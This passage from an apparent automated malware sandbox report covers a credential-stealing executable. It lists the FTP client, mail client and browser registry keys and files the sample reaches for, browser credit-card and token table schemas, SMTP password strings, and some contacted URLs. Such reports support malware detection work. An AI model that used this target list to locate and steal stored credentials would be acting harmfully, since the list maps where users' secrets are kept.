NULL DEFAULT 0, use_date INTEGER NOT NULL DEFAULT 0, value VARCHAR, nickname VARCHAR)" (Source: 00000000-00002904.00000002.126319.006D0000.00000004.mdmp, Indicator: "create table ibans (guid varchar primary key, use_count integer not null default 0, use_date integer not null default 0, value varchar, nickname varchar)"), "CREATE TABLE credit_cards (guid VARCHAR PRIMARY KEY, name_on_card VARCHAR, expiration_month INTEGER, expiration_year INTEGER, card_number_encrypted BLOB, date_modified INTEGER NOT NULL DEFAULT 0, origin VARCHAR DEFAULT '', use_count INTEGER NOT NULL DEFAULT 0, use_date INTEGER NOT NULL DEFAULT 0, billing_address_id VARCHAR, nickname VARCHAR)7" (Source: 00000000-00002904.00000002.126319.006D0000.00000004.mdmp, Indicator: "create table credit_cards (guid varchar primary key, name_on_card varchar, expiration_month integer, expiration_year integer, card_number_encrypted blob, date_modified integer not null default 0, origin varchar default '', use_count integer not null default 0, use_date integer not null default 0, billing_address_id varchar, nickname varchar)7"), "CREATE TABLE autofill (name VARCHAR, value VARCHAR, value_lower VARCHAR, date_created INTEGER DEFAULT 0, date_last_used INTEGER DEFAULT 0, count INTEGER DEFAULT 1, PRIMARY KEY (name, value))/" (Source: 00000000-00002904.00000002.126319.006D0000.00000004.mdmp, Indicator: "create table autofill (name varchar, value varchar, value_lower varchar, date_created integer default 0, date_last_used integer default 0, count integer default 1, primary key (name, value))/"), "CREATE TABLE token_service (service VARCHAR PRIMARY KEY NOT NULL,encrypted_token BLOB)9" (Source: 00000000-00002904.00000002.126319.006D0000.00000004.mdmp, Indicator: "create table token_service (service varchar primary key not null,encrypted_token blob)9"), "CREATE TABLE meta(key LONGVARCHAR NOT NULL UNIQUE PRIMARY KEY, value LONGVARCHAR)'" (Source: 00000000-00002904.00000002.126319.006D0000.00000004.mdmp, Indicator: "create table meta(key longvarchar not null unique primary key, value longvarchar)'")33:T4edb,"SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32" in Source: 10198-375-0040C764 "Software\NCH Software\ClassicFTP\FTPAccounts" in Source: 10198-253-00406F5D "Software\Microsoft\Internet Explorer\IntelliForms\Storage2" in Source: 10198-327-0040A311 "Software\MAS-Soft\FTPInfo\Setup" in Source: 10198-399-0040DB52 "Software\FlashPeak\BlazeFtp\Settings" in Source: 10198-370-0040C413 "Software\AceBIT" in Source: 10198-294-00408B4E "SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}" in Source: 10198-294-00408B4E "SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}" in Source: 10198-294-00408B4E "Software\Microsoft\Internet Account Manager\Accounts" in Source: 10198-434-0040F330 "Software\Microsoft\Internet Account Manager" in Source: 10198-434-0040F330 "Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts" in Source: 10198-434-0040F330 "Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings" in Source: 10198-434-0040F330 "Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook" in Source: 10198-434-0040F330 "Software\ExpanDrive\Sessions" in Source: 10198-251-00406C85 "Software\ExpanDrive" in Source: 10198-251-00406C85 "Software\Mozilla" in Source: 10198-310-00409A80 "Software\Ghisler\Windows Commander" in Source: 10198-205-00404857 "Software\Ghisler\Total Commander" in Source: 10198-205-00404857 "Software\VanDyke\SecureFX" in Source: 10198-242-004065E1 "Software\TurboFTP" in Source: 10198-231-00405A91 "Software\RIT\The Bat!" in Source: 10198-425-0040EB5C "Software\RIT\The Bat!\Users depot" in Source: 10198-425-0040EB5C "Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224" in Source: 10198-240-0040651B "Software\FTP Explorer\Profiles" in Source: 10198-240-0040651B "Software\Microsoft\Windows Live Mail" in Source: 10198-417-0040E48B "Software\LinasFTP\Site Manager" in Source: 10198-388-0040D386 "Software\Cryer\WebSitePublisher" in Source: 10198-246-004068E2 "Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 10198-169-00401C75 "Software\RimArts\B2\Settings" in Source: 10198-419-0040E4F7 "Software\Poco Systems Inc" in Source: 10198-421-0040E733 "Software\South River Technologies\WebDrive\Connections" in Source: 10198-270-00407D23 "Software\Sota\FFFTP" in Source: 10198-234-00405D51 "Software\Sota\FFFTP\Options" in Source: 10198-234-00405D51 "Software\FileZilla" in Source: 10198-224-004056D1 "Software\FileZilla Client" in Source: 10198-224-004056D1 "Software\Microsoft\Windows Mail" in Source: 10198-418-0040E4C1 "Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar" in Source: 10198-214-00404FC9 "Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar" in Source: 10198-214-00404FC9 "Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar" in Source: 10198-214-00404FC9 "Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar" in Source: 10198-214-00404FC9 "Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar" in Source: 10198-214-00404FC9 "Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar" in Source: 10198-214-00404FC9 "Software\FTPWare\COREFTP\Sites" in Source: 10198-238-00406264 "Software\Nico Mak Computing\WinZip\FTP" in Source: 10198-406-0040E039 "Software\Nico Mak Computing\WinZip\mru\jobs" in Source: 10198-406-0040E039 "Software\WinRAR" in Source: 10198-31-004024A1 "Software\CoffeeCup Software\Internet\Profiles" in Source: 10198-236-00405FD2 "Software\Martin Prikryl" in Source: 10198-266-00407A1F "Software\ChromePlus" in Source: 10198-354-0040BE20 "Software\FlashFXP\3" in Source: 10198-219-004051F3 "Software\FlashFXP" in Source: 10198-219-004051F3 "Software\FlashFXP\4" in Source: 10198-219-004051F3 "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 10198-89-00401E7D "SOFTWARE\LeapWare" in Source: 10198-264-0040767E "\INSoftware\NovaFTP" in Source: 10198-411-0040E1EF "SOFTWARE\NCH Software\Fling\Accounts" in Source: 10198-255-00407188 "Software\BPFTP\Bullet Proof FTP\Main" in Source: 10198-228-004058D0 "Software\BulletProof Software\BulletProof FTP Client\Main" in Source: 10198-228-004058D0 "Software\BPFTP\Bullet Proof FTP\Options" in Source: 10198-228-004058D0 "Software\BulletProof Software\BulletProof FTP Client\Options" in Source: 10198-228-004058D0 "Software\BPFTP" in Source: 10198-228-004058D0 "Software\SimonTatham\PuTTY\Sessions" in Source: 10198-394-0040D7CE "Software\IncrediMail" in Source: 10198-423-0040EA9E "Software\LeechFTP" in Source: 10198-313-00409C15 "Software\FTPClient\Sites" in Source: 10198-257-00407284 "Software\SoftX.org\FTPClient\Sites" in Source: 10198-257-00407284 "Software\CoffeeCup Software" in Source: 10198-397-0040DA8B "SOFTWARE\Robo-FTP 3.7\Scripts" in Source: 10198-384-0040CEBB "\GPSoftware\Directory Opus" in Source: 10198-258-004072F2 "Software\Adobe\Common" in Source: 10198-334-0040AC02 "Software\Far\Plugins\FTP\Hosts" in Source: 10198-202-0040469B "Software\Far2\Plugins\FTP\Hosts" in Source: 10198-202-0040469B "Software\Far Manager\Plugins\FTP\Hosts" in Source: 10198-202-0040469B "Software\Far\SavedDialogHistory\FTPHost" in Source: 10198-202-0040469B "Software\Far2\SavedDialogHistory\FTPHost" in Source: 10198-202-0040469B "Software\Far Manager\SavedDialogHistory\FTPHost" in Source: 10198-202-0040469B "SOFTWARE\Robo-FTP 3.7\FTPServers" in Source: 10198-385-0040CF4A "_Software\Opera Software" in Source: 00000000-00002904.00000002.126319.00400000.00000040.mdmp "%LOCALAPPDATA%\BulletProof Software\*.*" in Source: 00000000-00002904-00000C2A-779 "%APPDATA%\BulletProof Software\*.*" in Source: 00000000-00002904-00000C2A-795 "%ALLUSERSPROFILE%\BulletProof Software\*.*" in Source: 00000000-00002904-00000C2A-811 "%APPDATA%\GPSoftware\Directory Opus\*.*" in Source: 00000000-00002904-00000C2A-1323 "%ALLUSERSPROFILE%\GPSoftware\Directory Opus\*.*" in Source: 00000000-00002904-00000C2A-1408 "%LOCALAPPDATA%\GPSoftware\Directory Opus\*.*" in Source: 00000000-00002904-00000C2A-1435 "%APPDATA%\INSoftware\NovaFTP\*.*" in Source: 00000000-00002904-00000C2A-12019042331 "%ALLUSERSPROFILE%\INSoftware\NovaFTP\*.*" in Source: 00000000-00002904-00000C2A-12019042336 "%LOCALAPPDATA%\INSoftware\NovaFTP\*.*" in Source: 00000000-00002904-00000C2A-12019042347 "SOFTWARE\M" in Source: 00000000-00001064.00000000.122405.006E0000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\WinRAR" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\Far\Plugins\FTP\Hosts" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\Far2\Plugins\FTP\Hosts" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\Far Manager\Plugins\FTP\Hosts" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\Far\SavedDialogHistory\FTPHost" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\Far2\SavedDialogHistory\FTPHost" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\Far Manager\SavedDialogHistory\FTPHost" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\Ghisler\Windows Commander" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\Ghisler\Total Commander" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\FlashFXP\3" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\FlashFXP" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\FlashFXP\4" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\FileZilla" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\FileZilla Client" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\BPFTP\Bullet Proof FTP\Main" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\BulletProof Software\BulletProof FTP Client\Main" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\BPFTP\Bullet Proof FTP\Options" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\BulletProof Software\BulletProof FTP Client\Options" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\BPFTP" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\TurboFTP" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\Sota\FFFTP" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\Sota\FFFTP\Options" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\CoffeeCup Software\Internet\Profiles" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\FTPWare\COREFTP\Sites" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\FTP Explorer\Profiles" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\VanDyke\SecureFX" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\Cryer\WebSitePublisher" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\ExpanDrive\Sessions" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\ExpanDrive" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\NCH Software\ClassicFTP\FTPAccounts" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "SOFTWARE\NCH Software\Fling\Accounts" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\FTPClient\Sites" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\SoftX.org\FTPClient\Sites" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "\GPSoftware\Directory Opus" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "SOFTWARE\LeapWare" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\Martin Prikryl" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\South River Technologies\WebDrive\Connections" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "_Software\Opera Software" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\AceBIT" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\Mozilla" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\LeechFTP" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\Microsoft\Internet Explorer\IntelliForms\Storage2" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\Adobe\Common" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\ChromePlus" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\FlashPeak\BlazeFtp\Settings" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "SOFTWARE\Robo-FTP 3.7\Scripts" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "SOFTWARE\Robo-FTP 3.7\FTPServers" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\LinasFTP\Site Manager" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\SimonTatham\PuTTY\Sessions" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\CoffeeCup Software" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\MAS-Soft\FTPInfo\Setup" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\Nico Mak Computing\WinZip\FTP" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\Nico Mak Computing\WinZip\mru\jobs" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "\INSoftware\NovaFTP" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\Microsoft\Windows Live Mail" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\Microsoft\Windows Mail" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\RimArts\B2\Settings" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\Poco Systems Inc" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\IncrediMail" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\RIT\The Bat!" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\RIT\The Bat!\Users depot" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\Microsoft\Internet Account Manager\Accounts" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\Microsoft\Internet Account Manager" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp ":\ProgramData\CoffeeCup Software\SharedSettings_1_0_5.sqlite" in Source: 00000000-00002904.00000000.122470.006D0000.00000004.mdmp "amData\CoffeeCup Software\SharedSettings_1_0_5.sqlite" in Source: 00000000-00002904.00000001.124395.006D0000.00000004.mdmp 00000000-00002904.00000002.126319.006D0000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00002904.00000001.124395.006D0000.00000004.mdmp 00000000-00002904.00000002.126319.006D0000.00000004.mdmp "entities\{BABB44F0-36EF-42C7-B3A3-411357E9DDF4}\Software\Microsoft\Internet Account Manager\Accounts" in Source: 00000000-00002904.00000001.124395.006D0000.00000004.mdmp "\ProgramData\INSoftware\NovaFTP\*.*" in Source: 00000000-00002904.00000002.126319.006D0000.00000004.mdmp34:T4c1,"1300140054f4af7550fc2e00dbf3af75@RPCRT4.dll" "15001600c02e2574fcfa2e00f8502374@ADVAPI32.dll" "0e000f00702f2574fcfa2e00f8502374@ADVAPI32.dll" "0e000f00cc2f2574fcfa2e00f8502374@ADVAPI32.dll" "11001200b4372574fcfa2e00f8502374@ADVAPI32.dll" "1100120048382574fcfa2e00f8502374@ADVAPI32.dll" "120013008c382574fcfa2e00f8502374@ADVAPI32.dll" "12001300e4382574fcfa2e00f8502374@ADVAPI32.dll" "14001500385e2574fcfa2e00f8502374@ADVAPI32.dll" "14001500505e2574fcfa2e00f8502374@ADVAPI32.dll" "14001500685e2574fcfa2e00f8502374@ADVAPI32.dll" "17001800805e2574fcfa2e00f8502374@ADVAPI32.dll" "0d000e00985e2574fcfa2e00f8502374@ADVAPI32.dll" "11001200a85e2574fcfa2e00f8502374@ADVAPI32.dll" "11001200bc5e2574fcfa2e00f8502374@ADVAPI32.dll" "0f001000fc5f2574fcfa2e00f8502374@ADVAPI32.dll" "140015003c602574fcfa2e00f8502374@ADVAPI32.dll" "1400150054602574fcfa2e00f8502374@ADVAPI32.dll" "0c000d009c602574fcfa2e00f8502374@ADVAPI32.dll" "0c000d00ac602574fcfa2e00f8502374@ADVAPI32.dll" "0e000f00bc602574fcfa2e00f8502374@ADVAPI32.dll" "0e000f00cc602574fcfa2e00f8502374@ADVAPI32.dll" "0b000c00dc602574fcfa2e00f8502374@ADVAPI32.dll" "1800190014632574fcfa2e00f8502374@RPCRT4.dll" "1300140040632574fcfa2e00f8502374@RPCRT4.dll"35:T4f8,"bounty-54562402545397328.exe" touched file "C:\Windows\wcx_ftp.ini" "bounty-54562402545397328.exe" touched file "C:\Windows\32BitFtp.ini" "bounty-54562402545397328.exe" touched file "C:\Windows\AppPatch\sysmain.sdb" "bounty-54562402545397328.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files" "bounty-54562402545397328.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Cookies" "bounty-54562402545397328.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History" "bounty-54562402545397328.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat" "bounty-54562402545397328.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "bounty-54562402545397328.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files" "bounty-54562402545397328.exe" touched file "%APPDATA%\Microsoft\Windows\Cookies" "bounty-54562402545397328.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\History" "bounty-54562402545397328.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\counters.dat" "bounty-54562402545397328.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches"36:T6aa,"bounty-54562402545397328.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\HWID" "bounty-54562402545397328.exe" trying to access non-existent file "C:\Windows\wcx_ftp.ini" "bounty-54562402545397328.exe" trying to access non-existent file "C:\Users\%OSUSER%\wcx_ftp.ini" "bounty-54562402545397328.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Ipswitch\" "bounty-54562402545397328.exe" trying to access non-existent file "C:\ProgramData\Ipswitch\" "bounty-54562402545397328.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Ipswitch\" "bounty-54562402545397328.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\CuteFTP\" "bounty-54562402545397328.exe" trying to access non-existent file "C:\ProgramData\CuteFTP\" "bounty-54562402545397328.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\CuteFTP\" "bounty-54562402545397328.exe" trying to access non-existent file "C:\Program Files (x86)\CuteFTP\" "bounty-54562402545397328.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\BulletProof Software\" "bounty-54562402545397328.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\BulletProof Software\" "bounty-54562402545397328.exe" trying to access non-existent file "C:\ProgramData\BulletProof Software\" "bounty-54562402545397328.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\SmartFTP\" "bounty-54562402545397328.exe" trying to access non-existent file "C:\ProgramData\SmartFTP\" "bounty-54562402545397328.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\SmartFTP\"37:T562,Found string "SMTP Email Address" (Indicator: "smtp"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found string "SmtpServer" (Indicator: "smtp"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found string "SmtpPort" (Indicator: "smtp"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found string "SmtpAccount" (Indicator: "smtp"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found string "SmtpPassword" (Indicator: "smtp"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found string ";" - Source: "00000000-00002904.00000001.124395.006D0000.00000004.mdmp") Found URL "https://choiceonesupport.org/d)" - Source: "00000000-00002904.00000001.124395.006D0000.00000004.mdmp") Found URL "https://oss.maxcdn.com/html5/html5shiv.min.js" - Source: "00000000-00002904.00000001.124395.006D0000.00000004.mdmp") Found URL "https://oss.maxcdn.com/respond/1.4.2/r" - Source: "00000000-00002904.00000001.124395.006D0000.00000004.mdmp") Found URL "https://www.googletagmanager.com/gtag/js?id=aw-1012693133" - Source: "00000000-00002904.00000001.124395.006D0000.00000004.mdmp") Found URL "http://criminallawdc.com/wp-content/themes/cri/img/inner-bgnew.jpg);" - Source: "00000000-00002904.00000001.124395.006D0000.00000004.mdmp") Found URL "http://criminallawdontent/themes/criminallawdc/img/default.jpg);" - Source: "00000000-00002904.00000001.124395.006D0000.00000004.mdmp") Found URL "http://criminallawdc.com/wp-content/themes/criminallawdc/img/default-image.jpg)style>" - Source: "00000000-00002904.00000001.124395.006D0000.00000004.mdmp") Found URL "https://crimcom/wp-content/uploads/2019/05/davidd.jpg')" - Source: "00000000-00002904.00000001.124395.006D0000.00000004.mdmp") Found URL "https://criminallawdc.com/wp-content/uploads/2019/05/davi" - Source: "00000000-00002904.00000001.124395.006D0000.00000004.mdmp") Found URL "https://criminallawdc.com/default.php?517mtykxba4pzuueq1ay6dgl2uejau8ynh=" - Source: "00000000-00002904.00000001.124395.006D0000.00000004.mdmp") Found URL "https://criminallawdc.com/default.php?517mtykxba4pzuueq1ay6dgl2uejau8yn$ng=" - Source: "00000000-00002904.00000001.124395.006D0000.00000004.mdmp") Found URL "https://criminallawdc.com/es/default.php" - Source: "00000000-00002904.00000001.124395.006D0000.00000004.mdmp") Found URL "https://choiceonesupport.org/default.p" - Source: "00000000-00002904.00000001.124395.006D0000.00000004.mdmp") Found URL "https://choiceonesupport.org/default.php?iqsvp4dhnvk82neqfum1nvju43hb8rptsustrmr8sstprsc" - Source: "00000000-00002904.00000001.124395.006D0000.00000004.mdmp") Found URL "http://criminallawdc.com/wp-content/plugins/contactsalesforce/css/front.css?ver=db3d8f7c5c848d771409cdb4878a9342'" - Source: "00000000-00002904.00000001.124395.006D0000.00000004.mdmp") Found URL "http://criminallawdc.com/wp-content/plugins/cleantalk-spam-protect/css/cleantalk-public.min.css?ver=6.46'" - Source: "00000000-00002904.00000001.124395.006D0000.00000004.mdmp") Found URL "http://criminallawdc.com/wp-content/plugins-spam-protect/css/cleantalk-email-decoder.min.css?ver=6.46'" - Source: 